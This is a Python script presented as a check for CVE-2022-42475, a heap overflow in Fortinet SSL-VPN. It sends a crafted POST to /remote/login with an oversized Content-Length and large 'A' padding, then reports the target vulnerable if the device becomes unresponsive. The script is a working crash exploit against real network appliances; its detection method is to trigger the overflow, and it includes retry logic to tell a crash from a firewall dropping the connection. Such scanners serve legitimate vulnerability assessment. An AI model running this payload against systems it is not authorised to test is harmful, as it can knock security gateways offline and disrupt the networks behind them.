import sys, os, time, socket, ssl

PADDING        = 0x4141414141414141
PADDING_LEN    = 1024*12
CONTENT_LENGTH = b"4294967297"

# Configuration for false positive prevention
POST_EXPLOIT_WAIT = 2       # Seconds to wait before post-exploit check
POST_EXPLOIT_RETRIES = 3    # Number of retries for post-exploit connectivity
CONNECTIVITY_TIMEOUT = 5    # Timeout for connectivity checks

class SSLVPNExploit:
  def __init__(self, host, port):
    self.host = host
    self.port = port
    self.useSSL = os.getenv("Scheme") == "https"

  def create_socket(self, timeout=2.0):
    """Create a new socket connection"""
    try:
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.settimeout(timeout)
      if self.useSSL:
        ctx = ssl._create_unverified_context()
        sock = ctx.wrap_socket(sock)
      sock.connect((self.host, self.port))
      return sock
    except Exception as e:
      return None

  def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
    """
    Check if target is responsive with a simple GET request.
    Returns: (success: bool, response_time: float)
    """
    try:
      start_time = time.time()
      sock = self.create_socket(timeout)
      if sock is None:
        return False, 0

      get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
      get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"

      sock.sendall(get_req)
      sock.settimeout(timeout)
      response = sock.recv(4096)
      elapsed = time.time() - start_time
      sock.close()

      return len(response) > 0, elapsed
    except Exception as e:
      return False, time.time() - start_time

  def check_by_get(self):
    """Pre-flight connectivity check"""
    print("[>] Pre-flight connectivity check...")
    success, elapsed = self.check_connectivity()
    if success:
      print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
      return True
    else:
      print("[!] Target is not responsive - cannot test")
      return None

  def send_exploit_payload(self):
    """
    Send the exploit payload and analyze the response.
    Returns: (result_type: str, elapsed_time: float, details: str)
    Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
    """
    req = bytearray(b"")
    req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
    req += b"\r\nContent-Length: " + CONTENT_LENGTH
    req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
    req += b"AAAAAAAA" * PADDING_LEN

    try:
      sock = self.create_socket(timeout=10)
      if sock is None:
        return 'ERROR', 0, 'Could not connect'

      start_time = time.time()
      sock.sendall(req)
      sock.settimeout(10)
      buf = sock.recv(1048576)
      elapsed = time.time() - start_time
      sock.close()

      if len(buf) == 0:
        return 'EMPTY_RESPONSE', elapsed, 'Empty response received'

      if b"413" in buf or b"Request Entity Too Large" in buf:
        return 'PATCHED', elapsed, 'Target returned 413 - patched'

      return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]

    except socket.timeout:
      return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
    except Exception as e:
      return 'CONNECTION_DROP', time.time() - start_time, str(e)

  def post_exploit_connectivity_check(self):
    """
    Check if target is still responsive after exploit attempt.
    This is the KEY differentiator between:
    - Firewall/WAF drop (device still responsive)
    - Actual crash (device unresponsive)

    Returns: (responsive: bool, details: str)
    """
    print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
    time.sleep(POST_EXPLOIT_WAIT)

    for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
      print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
      success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
      if success:
        return True, f"Device responsive after {elapsed:.2f}s"
      time.sleep(1)

    return False, "Device unresponsive after multiple attempts"

  def is_vulnerable(self):
    """
    Improved vulnerability detection with false positive prevention.

    Detection logic:
    1. If target returns 413 -> PATCHED (not vulnerable)
    2. If target times out waiting for data -> NOT VULNERABLE
    3. If connection drops/empty response:
       a. Check if device is still responsive
       b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
       c. If unresponsive -> LIKELY VULNERABLE (device crashed)
    """
    print("[>] Sending exploit payload...")
    result, elapsed, details = self.send_exploit_payload()

    print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
    print(f"[>] Details: {details[:100]}...")

    # Case 1: Target is patched (413 response)
    if result == 'PATCHED':
      print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
      return False

    # Case 2: Target waited for more data (timeout)
    if result == 'TIMEOUT':
      print("[+] Target waited for more data - NOT VULNERABLE")
      return False

    # Case 3: Connection drop or empty response - NEEDS VERIFICATION
    if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
      print("[!] Connection dropped or empty response - verifying if this is a false positive...")

      # KEY FIX: Check if device is still responsive
      responsive, check_details = self.post_exploit_connectivity_check()

      if responsive:
        # Device is still responsive = Firewall/WAF dropped the connection
        print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
        print("[!] Device is still responsive after exploit attempt")
        print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
        return False  # NOT VULNERABLE - false positive
      else:
        # Device is unresponsive = Possible crash
        print(f"[+] Device appears to have crashed: {check_details}")
        print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
        return True  # LIKELY VULNERABLE

    # Case 4: Unexpected response
    if result == 'UNEXPECTED':
      print(f"[?] Unexpected response received - manual review needed")
      print(f"[?] Response: {details}")
      return None

    # Case 5: Error
    print(f"[!] Error during exploit: {details}")
    return None

if __name__ == '__main__':
  host = os.getenv("Host")
  port = int(os.getenv("Port"))

  print("=" * 60)
  print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
  print("(With False Positive Prevention)")
  print("=" * 60)
  print(f"[*] Target: {host}:{port}")
  print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")

  exploit = SSLVPNExploit(host, port)

  # Step 1: Pre-flight connectivity check
  check = exploit.check_by_get()
  if check != True:
    print("[!] Pre-flight check failed - target unreachable")
    exit(1)

  # Step 2: Vulnerability check with false positive prevention
  result = exploit.is_vulnerable()

  if result == None:
    print("[!] An error occurred testing for the vulnerability.")
    print("[!] Is this even a FortiGate SSL-VPN?")
    exit(2)

  if result == True:
    print("=" * 60)
    print("[+] Target appears to be VULNERABLE")
    print("[+] Device became unresponsive after exploit payload")
    print("=" * 60)
    exit(0)
  else:
    print("=" * 60)
    print("[+] Target is NOT vulnerable")
    print("=" * 60)
    exit(1)
